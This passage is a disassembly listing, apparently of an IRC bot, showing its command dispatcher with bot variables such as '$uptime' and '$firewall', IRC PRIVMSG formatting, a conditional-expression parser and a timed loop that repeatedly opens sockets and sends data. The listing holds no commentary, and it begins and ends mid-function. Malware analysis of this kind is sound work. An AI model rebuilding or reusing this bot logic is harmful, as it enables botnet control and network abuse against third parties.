--------------------------------------------------------------------------- loc_40C0BA: ; CODE XREF: sub_40A9CF+1573j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C0D4: ; CODE XREF: sub_40A9CF+16E9j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C0D9: ; CODE XREF: sub_40A9CF+1541j mov eax, [ebp+var_1A8] sub eax, dword_4198C4 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C1D4 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jnz short loc_40C105 mov eax, [ebp+arg_14] mov dword ptr [eax+4], offset byte_41DE30 loc_40C105: ; CODE XREF: sub_40A9CF+172Aj lea eax, [ebp+var_5F84] push eax push 0 push 0 mov eax, [ebp+arg_14] push dword ptr [eax+4] call dword_41DE84 ; getaddrinfo test eax, eax jnz loc_40C1B5 push 4 push 0 push 0 push 401h lea eax, [ebp+var_6388] push eax mov eax, [ebp+var_5F84] push dword ptr [eax+10h] mov eax, [ebp+var_5F84] push dword ptr [eax+18h] call dword_41DE88 ; getnameinfo test eax, eax jnz short loc_40C1A9 push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo mov eax, [ebp+arg_14] mov eax, [eax+4] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C179 mov eax, [ebp+arg_14] mov eax, [eax+4] mov [ebp+var_6404], eax jmp short loc_40C183 ; --------------------------------------------------------------------------- loc_40C179: ; CODE XREF: sub_40A9CF+179Aj mov [ebp+var_6404], offset dword_419968 loc_40C183: ; CODE XREF: sub_40A9CF+17A8j lea eax, [ebp+var_6388] push eax push [ebp+var_6404] push offset dword_4198A8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1A9: ; CODE XREF: sub_40A9CF+1781j push [ebp+var_5F84] call dword_41DE8C ; freeaddrinfo loc_40C1B5: ; CODE XREF: sub_40A9CF+174Fj mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_4198D0 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C1D4: ; CODE XREF: sub_40A9CF+171Dj mov eax, [ebp+var_1A8] sub eax, dword_419898 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C37A mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C207 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx cmp eax, 0Ah ja short loc_40C20C loc_40C207: ; CODE XREF: sub_40A9CF+1825j jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C20C: ; CODE XREF: sub_40A9CF+1836j mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B40 ; strlen pop ecx mov [ebp+var_638C], eax push 4 push offset a2002 ; "2002" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416DEA ; memcmp add esp, 0Ch test eax, eax jnz loc_40C35B mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-9] mov [ebp+var_6398], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-8] mov [ebp+var_6397], al and [ebp+var_6396], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-7] mov [ebp+var_6395], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-6] mov [ebp+var_6394], al and [ebp+var_6393], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-4] mov [ebp+var_6392], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-3] mov [ebp+var_6391], al and [ebp+var_6390], 0 mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-2] mov [ebp+var_638F], al mov eax, [ebp+arg_14] mov eax, [eax+4] mov ecx, [ebp+var_638C] mov al, [eax+ecx-1] mov [ebp+var_638E], al and [ebp+var_638D], 0 lea eax, [ebp+var_638F] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6392] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6395] push eax call sub_40A8AD pop ecx push eax lea eax, [ebp+var_6398] push eax call sub_40A8AD pop ecx push eax mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419860 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 1Ch jmp short loc_40C375 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_40A9CF+1866j mov eax, [ebp+arg_14] push dword ptr [eax+4] push offset dword_419844 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch loc_40C375: ; CODE XREF: sub_40A9CF+198Aj jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C37A: ; CODE XREF: sub_40A9CF+1818j mov eax, [ebp+var_1A8] sub eax, dword_419838 neg eax sbb eax, eax inc eax test eax, eax jz loc_40C4B0 call sub_416B64 ; clock mov [ebp+var_639C], eax and [ebp+var_63A4], 0 and [ebp+var_63A0], 0 push 10h push 0 lea eax, [ebp+var_63B4] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_63B4], 2 loc_40C3C8: ; CODE XREF: sub_40A9CF+1A95j call sub_416B64 ; clock sub eax, [ebp+var_639C] cmp eax, 3E8h jnb loc_40C469 push 0FFFFh push 1 call sub_4103F5 pop ecx pop ecx push eax call ds:dword_417238 ; ntohs mov [ebp+var_63B2], ax push 4 push 0 call sub_4040E8 pop ecx pop ecx mov [ebp+var_63B0], eax push 0 push 2 push 2 call ds:dword_417218 ; socket mov [ebp+var_63B8], eax push 10h lea eax, [ebp+var_63B4] push eax push [ebp+var_63B8] call ds:dword_4171F4 ; connect push 0 push 1 lea eax, [ebp+var_63A0] push eax push [ebp+var_63B8] call ds:dword_41720C ; send push [ebp+var_63B8] call ds:dword_417230 ; closesocket mov eax, [ebp+var_63A4] add eax, 2Bh mov [ebp+var_63A4], eax jmp loc_40C3C8 ; --------------------------------------------------------------------------- loc_40C469: ; CODE XREF: sub_40A9CF+1A09j cmp [ebp+var_63A4], 400h jbe short loc_40C483 mov eax, [ebp+var_63A4] mov [ebp+var_6408], eax jmp short loc_40C48D ; --------------------------------------------------------------------------- loc_40C483: ; CODE XREF: sub_40A9CF+1AA4j mov [ebp+var_6408], 400h loc_40C48D: ; CODE XREF: sub_40A9CF+1AB2j mov eax, [ebp+var_6408] shr eax, 0Ah push eax push offset dword_419820 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4B0: ; CODE XREF: sub_40A9CF+19BEj mov eax, [ebp+var_1A8] sub eax, dword_419818 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C4DA mov eax, [ebp+var_1A8] sub eax, dword_41980C neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C4FF loc_40C4DA: ; CODE XREF: sub_40A9CF+1AF4j push offset dword_41DC34 push 3B6h push 0 push offset dword_4197E8 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 14h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C4FF: ; CODE XREF: sub_40A9CF+1B09j mov eax, [ebp+var_1A8] sub eax, dword_4197DC neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C53A mov eax, [ebp+arg_14] push dword ptr [eax+0Ch] mov eax, [ebp+arg_14] push dword ptr [eax+8] mov eax, [ebp+arg_14] push dword ptr [eax+4] lea eax, [ebp+var_1A4] push eax call sub_4142BF add esp, 10h jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C53A: ; CODE XREF: sub_40A9CF+1B43j mov eax, [ebp+var_1A8] sub eax, dword_4197D4 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C564 mov eax, [ebp+var_1A8] sub eax, dword_4197C8 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C576 loc_40C564: ; CODE XREF: sub_40A9CF+1B7Ej lea eax, [ebp+var_1A4] push eax call sub_4087C4 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C576: ; CODE XREF: sub_40A9CF+1B93j mov eax, [ebp+var_1A8] sub eax, dword_4197C0 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C5A0 mov eax, [ebp+var_1A8] sub eax, dword_4197B4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C5B2 loc_40C5A0: ; CODE XREF: sub_40A9CF+1BBAj lea eax, [ebp+var_1A4] push eax call sub_408E4A pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C5B2: ; CODE XREF: sub_40A9CF+1BCFj mov eax, [ebp+var_1A8] sub eax, dword_4197A4 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C614 push 1 push offset a9252 ; "9252" call sub_4046BC pop ecx pop ecx mov [ebp+var_63BC], eax push [ebp+var_63BC] push offset a08x ; "%08X" lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 0Ch cmp [ebp+var_63BC], 0 jnz short loc_40C603 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C603: ; CODE XREF: sub_40A9CF+1C2Dj push [ebp+var_63BC] call sub_404CBB pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C614: ; CODE XREF: sub_40A9CF+1BF6j mov eax, [ebp+var_1A8] sub eax, dword_419790 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C63B lea eax, [ebp+var_1A4] push eax call sub_4091E2 pop ecx jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C63B: ; CODE XREF: sub_40A9CF+1C58j mov eax, [ebp+var_1A8] sub eax, dword_419788 neg eax sbb eax, eax inc eax test eax, eax jnz short loc_40C669 mov eax, [ebp+var_1A8] sub eax, dword_41977C neg eax sbb eax, eax inc eax test eax, eax jz loc_40C896 loc_40C669: ; CODE XREF: sub_40A9CF+1C7Fj mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C686 mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416B9C ; atoi pop ecx mov [ebp+var_640C], eax jmp short loc_40C68D ; --------------------------------------------------------------------------- loc_40C686: ; CODE XREF: sub_40A9CF+1CA1j and [ebp+var_640C], 0 loc_40C68D: ; CODE XREF: sub_40A9CF+1CB5j mov eax, [ebp+var_640C] mov [ebp+var_63C8], eax call sub_4092A4 mov [ebp+var_63E0], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63D8], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63C4], eax mov eax, [ebp+var_63E0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D4], eax mov eax, [ebp+var_63D8] cmp eax, [ebp+var_63C8] jnb short loc_40C715 jmp loc_40C912 ; --------------------------------------------------------------------------- loc_40C715: ; CODE XREF: sub_40A9CF+1D3Fj call sub_409318 mov [ebp+var_63C0], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_63CC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_63DC], eax mov eax, [ebp+var_63C0] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_63D0], eax cmp [ebp+var_63D0], 1 jnz short loc_40C793 mov [ebp+var_6410], offset byte_41DE30 jmp short loc_40C79D ; --------------------------------------------------------------------------- loc_40C793: ; CODE XREF: sub_40A9CF+1DB6j mov [ebp+var_6410], offset dword_4191F4 loc_40C79D: ; CODE XREF: sub_40A9CF+1DC2j cmp [ebp+var_63DC], 1 jnz short loc_40C7B2 mov [ebp+var_6414], offset byte_41DE30 jmp short loc_40C7BC ; --------------------------------------------------------------------------- loc_40C7B2: ; CODE XREF: sub_40A9CF+1DD5j mov [ebp+var_6414], offset dword_4191F4 loc_40C7BC: ; CODE XREF: sub_40A9CF+1DE1j cmp [ebp+var_63CC], 1 jnz short loc_40C7D1 mov [ebp+var_6418], offset byte_41DE30 jmp short loc_40C7DB ; --------------------------------------------------------------------------- loc_40C7D1: ; CODE XREF: sub_40A9CF+1DF4j mov [ebp+var_6418], offset dword_4191F4 loc_40C7DB: ; CODE XREF: sub_40A9CF+1E00j cmp [ebp+var_63D4], 1 jnz short loc_40C7F0 mov [ebp+var_641C], offset byte_41DE30 jmp short loc_40C7FA ; --------------------------------------------------------------------------- loc_40C7F0: ; CODE XREF: sub_40A9CF+1E13j mov [ebp+var_641C], offset dword_4191F4 loc_40C7FA: ; CODE XREF: sub_40A9CF+1E1Fj cmp [ebp+var_63C4], 1 jnz short loc_40C80F mov [ebp+var_6420], offset byte_41DE30 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40A9CF+1E32j mov [ebp+var_6420], offset dword_4191F4 loc_40C819: ; CODE XREF: sub_40A9CF+1E3Ej cmp [ebp+var_63D8], 1 jnz short loc_40C82E mov [ebp+var_6424], offset byte_41DE30 jmp short loc_40C838 ; --------------------------------------------------------------------------- loc_40C82E: ; CODE XREF: sub_40A9CF+1E51j mov [ebp+var_6424], offset dword_4191F4 loc_40C838: ; CODE XREF: sub_40A9CF+1E5Dj push [ebp+var_6410] push [ebp+var_63D0] push [ebp+var_6414] push [ebp+var_63DC] push [ebp+var_6418] push [ebp+var_63CC] push [ebp+var_641C] push [ebp+var_63D4] push [ebp+var_6420] push [ebp+var_63C4] push [ebp+var_6424] push [ebp+var_63D8] push offset dword_419708 lea eax, [ebp+var_1A4] push eax call sub_40D53F add esp, 38h jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C896: ; CODE XREF: sub_40A9CF+1C94j mov eax, [ebp+var_1A8] sub eax, dword_419700 neg eax sbb eax, eax inc eax test eax, eax jz short loc_40C912 mov eax, [ebp+arg_14] cmp dword ptr [eax+4], 0 jz short loc_40C8BD mov eax, [ebp+arg_14] cmp dword ptr [eax+8], 0 jnz short loc_40C8BF loc_40C8BD: ; CODE XREF: sub_40A9CF+1EE3j jmp short loc_40C912 ; --------------------------------------------------------------------------- loc_40C8BF: ; CODE XREF: sub_40A9CF+1EECj push 2 push offset aId ; "id" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40C8EA mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41EEC8 call sub_416B3A ; strcpy pop ecx pop ecx loc_40C8EA: ; CODE XREF: sub_40A9CF+1F07j push offset aUsername ; "username" mov eax, [ebp+arg_14] push dword ptr [eax+4] call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40C912 mov eax, [ebp+arg_14] push dword ptr [eax+8] push offset byte_41F048 call sub_416B3A ; strcpy pop ecx pop ecx loc_40C912: ; CODE XREF: sub_40A9CF+85j ; sub_40A9CF+D8j ... pop edi pop esi leave retn sub_40A9CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C916 proc near ; CODE XREF: sub_40CA29+47Fp arg_0 = dword ptr 8 push ebp mov ebp, esp loc_40C919: ; CODE XREF: sub_40C916+1Fj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_40C937 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_40C937 mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40C919 ; --------------------------------------------------------------------------- loc_40C937: ; CODE XREF: sub_40C916+Cj ; sub_40C916+16j mov eax, [ebp+arg_0] pop ebp retn sub_40C916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C93C proc near ; DATA XREF: sub_40CEB0+66o var_534 = dword ptr -534h var_530 = byte ptr -530h var_38F = byte ptr -38Fh var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 534h push 327h push [ebp+arg_0] lea eax, [ebp+var_534] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" lea eax, [ebp+var_530] push eax call sub_40813C add esp, 0Ch mov [ebp+var_204], eax and [ebp+var_20C], 0 loc_40C98D: ; CODE XREF: sub_40C93C+D6j cmp [ebp+var_204], 0 jnz short loc_40C998 jmp short loc_40CA17 ; --------------------------------------------------------------------------- loc_40C998: ; CODE XREF: sub_40C93C+58j ; sub_40C93C+79j mov eax, [ebp+var_204] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40C9A8 jmp short loc_40C9B7 ; --------------------------------------------------------------------------- loc_40C9A8: ; CODE XREF: sub_40C93C+68j mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax jmp short loc_40C998 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: sub_40C93C+6Aj push [ebp+var_204] lea eax, [ebp+var_38F] push eax push offset aLinkLink@linkP ; "link!link@link PRIVMSG %s :%s" push 200h lea eax, [ebp+var_200] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_200] push eax call sub_40E618 pop ecx lea eax, [ebp+var_208] push eax push offset asc_419F48 ; ";" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_20C], eax mov eax, [ebp+var_20C] mov [ebp+var_204], eax jmp loc_40C98D ; --------------------------------------------------------------------------- loc_40CA17: ; CODE XREF: sub_40C93C+5Aj push [ebp+var_534] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_40C93C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA29 proc near ; CODE XREF: sub_40CEB0+8p var_1EC = dword ptr -1ECh var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1A8 = dword ptr -1A8h var_1A4 = dword ptr -1A4h var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1ECh cmp [ebp+arg_0], 0 jz short loc_40CA43 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 28h jz short loc_40CA4A loc_40CA43: ; CODE XREF: sub_40CA29+Dj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA4A: ; CODE XREF: sub_40CA29+18j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax push offset asc_419FB0 ; ")" push [ebp+arg_0] call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_40CA70 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CA70: ; CODE XREF: sub_40CA29+3Ej mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax cmp eax, 180h jbe short loc_40CA8A mov [ebp+var_1EC], 180h jmp short loc_40CA97 ; --------------------------------------------------------------------------- loc_40CA8A: ; CODE XREF: sub_40CA29+53j mov eax, [ebp+var_10] sub eax, [ebp+arg_0] inc eax mov [ebp+var_1EC], eax loc_40CA97: ; CODE XREF: sub_40CA29+5Fj push [ebp+var_1EC] push [ebp+arg_0] lea eax, [ebp+var_190] push eax call sub_407A56 add esp, 0Ch push 1 push 1 lea eax, [ebp+var_190] push eax call sub_407C2C add esp, 0Ch lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" lea eax, [ebp+var_190] push eax call sub_40813C add esp, 0Ch mov [ebp+var_4], eax and [ebp+var_C], 0 loc_40CAE1: ; CODE XREF: sub_40CA29+475j cmp [ebp+var_4], 0 jnz short loc_40CAEC jmp loc_40CEA3 ; --------------------------------------------------------------------------- loc_40CAEC: ; CODE XREF: sub_40CA29+BCj ; sub_40CA29+D7j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jz short loc_40CAF9 jmp short loc_40CB02 ; --------------------------------------------------------------------------- loc_40CAF9: ; CODE XREF: sub_40CA29+CCj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_40CAEC ; --------------------------------------------------------------------------- loc_40CB02: ; CODE XREF: sub_40CA29+CEj lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_1A0] push eax lea eax, [ebp+var_1C8] push eax push offset a32s16s32s ; "%32s %16s %32s" push [ebp+var_4] call sub_416BA2 ; sscanf add esp, 14h cmp eax, 3 jz short loc_40CB33 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40CA29+101j lea eax, [ebp+var_1C8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A4], eax lea eax, [ebp+var_1E8] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1A8], eax cmp [ebp+var_1A4], 0 jnz loc_40CC6E push offset dword_418F50 lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jz loc_40CC6E push offset aUptime ; "$uptime" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CBB1 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A4], eax jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBB1: ; CODE XREF: sub_40CA29+16Dj push offset aVersion ; "$version" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CBD7 mov [ebp+var_1A4], 3B6h jmp loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBD7: ; CODE XREF: sub_40CA29+19Dj push offset aFree ; "$free" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CBFB call sub_408E8E mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CBFB: ; CODE XREF: sub_40CA29+1C3j push offset aLatency ; "$latency" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CC1F call sub_408887 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC1F: ; CODE XREF: sub_40CA29+1E7j push offset aFirewall ; "$firewall" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CC43 call sub_404279 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC43: ; CODE XREF: sub_40CA29+20Bj push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1C8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CC67 call sub_4043E9 mov [ebp+var_1A4], eax jmp short loc_40CC6E ; --------------------------------------------------------------------------- loc_40CC67: ; CODE XREF: sub_40CA29+22Fj xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CC6E: ; CODE XREF: sub_40CA29+137j ; sub_40CA29+152j ... cmp [ebp+var_1A8], 0 jnz loc_40CD83 push offset dword_418F50 lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jz loc_40CD83 push offset aUptime ; "$uptime" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CCC6 call sub_4092A4 xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_1A8], eax jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCC6: ; CODE XREF: sub_40CA29+282j push offset aVersion ; "$version" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CCEC mov [ebp+var_1A8], 3B6h jmp loc_40CD83 ; --------------------------------------------------------------------------- loc_40CCEC: ; CODE XREF: sub_40CA29+2B2j push offset aFree ; "$free" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CD10 call sub_408E8E mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD10: ; CODE XREF: sub_40CA29+2D8j push offset aLatency ; "$latency" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CD34 call sub_408887 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD34: ; CODE XREF: sub_40CA29+2FCj push offset aFirewall ; "$firewall" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CD58 call sub_404279 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD58: ; CODE XREF: sub_40CA29+320j push offset aIpv6 ; "$ipv6" lea eax, [ebp+var_1E8] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CD7C call sub_4043E9 mov [ebp+var_1A8], eax jmp short loc_40CD83 ; --------------------------------------------------------------------------- loc_40CD7C: ; CODE XREF: sub_40CA29+344j xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CD83: ; CODE XREF: sub_40CA29+24Cj ; sub_40CA29+267j ... push offset asc_419F5C ; "==" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CDAF mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jz short loc_40CDAF xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDAF: ; CODE XREF: sub_40CA29+36Fj ; sub_40CA29+37Dj push offset asc_419F58 ; "!=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CDDB mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnz short loc_40CDDB xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CDDB: ; CODE XREF: sub_40CA29+39Bj ; sub_40CA29+3A9j push offset asc_419F54 ; ">" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CE07 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] ja short loc_40CE07 xor eax, eax jmp locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE07: ; CODE XREF: sub_40CA29+3C7j ; sub_40CA29+3D5j push offset asc_419F50 ; ">=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CE30 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jnb short loc_40CE30 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE30: ; CODE XREF: sub_40CA29+3F3j ; sub_40CA29+401j push offset dword_419968 lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CE59 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jb short loc_40CE59 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE59: ; CODE XREF: sub_40CA29+41Cj ; sub_40CA29+42Aj push offset asc_419F4C ; "<=" lea eax, [ebp+var_1A0] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_40CE82 mov eax, [ebp+var_1A4] cmp eax, [ebp+var_1A8] jbe short loc_40CE82 xor eax, eax jmp short locret_40CEAE ; --------------------------------------------------------------------------- loc_40CE82: ; CODE XREF: sub_40CA29+445j ; sub_40CA29+453j lea eax, [ebp+var_8] push eax push offset asc_419FAC ; "&&" push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax mov eax, [ebp+var_C] mov [ebp+var_4], eax jmp loc_40CAE1 ; --------------------------------------------------------------------------- loc_40CEA3: ; CODE XREF: sub_40CA29+BEj mov eax, [ebp+var_10] inc eax push eax call sub_40C916 pop ecx locret_40CEAE: ; CODE XREF: sub_40CA29+1Cj ; sub_40CA29+42j ... leave retn sub_40CA29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEB0 proc near ; CODE XREF: sub_40A9CF+14CEp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_4] call sub_40CA29 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_40CEC9 jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEC9: ; CODE XREF: sub_40CEB0+15j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_40CEDF jmp short locret_40CF23 ; --------------------------------------------------------------------------- loc_40CEDF: ; CODE XREF: sub_40CEB0+2Bj push 180h push [ebp+var_8] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_405F67 pop ecx 